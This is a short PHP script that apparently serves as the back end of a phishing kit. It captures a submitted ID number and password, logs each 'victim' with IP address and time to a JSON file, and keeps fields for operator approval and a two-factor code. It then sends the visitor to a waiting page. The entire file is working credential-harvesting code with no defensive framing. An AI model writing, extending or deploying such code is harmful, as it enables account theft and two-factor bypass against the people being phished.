<?php
$documento = $_POST['documento'] ?? '';
$clave = $_POST['clave'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$fecha = date('Y-m-d H:i:s');
$id = time(); // ID único basado en tiempo

$nueva_victima = [
    'id' => $id,
    'documento' => $documento,
    'clave' => $clave,
    'ip' => $ip,
    'fecha' => $fecha,
    'aprobado' => false,
    '2fa_codigo' => '',
    'paso' => 'credenciales'
];

// Leer archivo actual o crear uno vacío
$archivo = 'victimas.json';
$victimas = [];

if (file_exists($archivo)) {
    $contenido = file_get_contents($archivo);
    $victimas = json_decode($contenido, true) ?: [];
}

// Añadir nueva víctima
$victimas[] = $nueva_victima;
file_put_contents($archivo, json_encode($victimas, JSON_PRETTY_PRINT));

// Guardar ID en sesión (para seguimiento)
session_start();
$_SESSION['victim_id'] = $id;

header('Location: espera.php');
exit();
?>